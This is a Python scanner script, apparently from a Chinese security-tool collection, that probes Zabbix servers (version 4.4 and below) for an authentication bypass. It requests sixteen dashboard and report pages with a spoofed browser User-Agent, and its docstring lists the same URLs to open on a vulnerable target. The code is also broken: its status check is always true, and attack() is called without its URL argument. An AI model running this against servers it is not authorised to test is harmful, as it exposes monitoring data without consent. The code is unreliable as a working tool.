71 lines
3.0 KiB
Python
71 lines
3.0 KiB
Python
# -*- coding: utf-8 -*-
|
||
import requests
|
||
|
||
'''
|
||
Usage:
|
||
moon.py -u zabbix http://127.0.0.1:8080
|
||
相关链接:https://cxsecurity.com/issue/WLB-2019100030
|
||
这个漏洞的话,姑且看看吧。测试的时候手里环境不是很全,可能有问题,上面原始脚本是perl的,可以试一下
|
||
影响范围:Zabbix <= 4.4
|
||
The target is vulnerable. Try to open these links:
|
||
https://TARGET/zabbix/zabbix.php?action=dashboard.view
|
||
https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
|
||
https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
|
||
https://TARGET/zabbix/overview.php?ddreset=1
|
||
https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
|
||
https://TARGET/zabbix/latest.php?ddreset=1
|
||
https://TARGET/zabbix/charts.php?ddreset=1
|
||
https://TARGET/zabbix/screens.php?ddreset=1
|
||
https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
|
||
https://TARGET/zabbix/srv_status.php?ddreset=1
|
||
https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
|
||
https://TARGET/zabbix/hostinventories.php?ddreset=1
|
||
https://TARGET/zabbix/report2.php?ddreset=1
|
||
https://TARGET/zabbix/toptriggers.php?ddreset=1
|
||
https://TARGET/zabbix/zabbix.php?action=dashboard.list
|
||
https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
|
||
'''
|
||
|
||
def attack(URL):
|
||
urls = (
|
||
'/zabbix.php?action=dashboard.view',
|
||
'/zabbix.php?action=dashboard.view&ddreset=1',
|
||
'/zabbix.php?action=problem.view&ddreset=1',
|
||
'/overview.php?ddreset=1',
|
||
'/zabbix.php?action=web.view&ddreset=1',
|
||
'/latest.php?ddreset=1',
|
||
'/charts.php?ddreset=1',
|
||
'/screens.php?ddreset=1',
|
||
'/zabbix.php?action=map.view&ddreset=1',
|
||
'/srv_status.php?ddreset=1',
|
||
'/hostinventoriesoverview.php?ddreset=1',
|
||
'/hostinventories.php?ddreset=1',
|
||
'/report2.php?ddreset=1',
|
||
'/toptriggers.php?ddreset=1',
|
||
'/zabbix.php?action=dashboard.list',
|
||
'/zabbix.php?action=dashboard.view&dashboardid=1'
|
||
)
|
||
|
||
print('[+]开始检测- Zabbix 4.2 - Authentication Bypass。[+]')
|
||
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
|
||
headers={"User-Agent":user_agent}
|
||
for url in urls:
|
||
url = URL + url
|
||
try:
|
||
verify_response = requests.get(url, headers=headers)
|
||
|
||
if verify_response.status_code == 200 or 304 or 401:
|
||
try:
|
||
print('页面返回状态码:'+str(verify_response.status_code)+' '+'页面返回大小为:'+str(len(verify_response.text))+' '+url) # 因为部分网站设置了统一的404页面,造成误报,因此添加返回长度来进行辅助判断
|
||
except Exception:
|
||
pass
|
||
else:
|
||
continue
|
||
except Exception:
|
||
print("Someerror!")
|
||
print('[+]检测结束-Zabbix 4.2 - Authentication Bypass。[+]')
|
||
print('\n')
|
||
|
||
if __name__ == "__main__":
|
||
attack()
|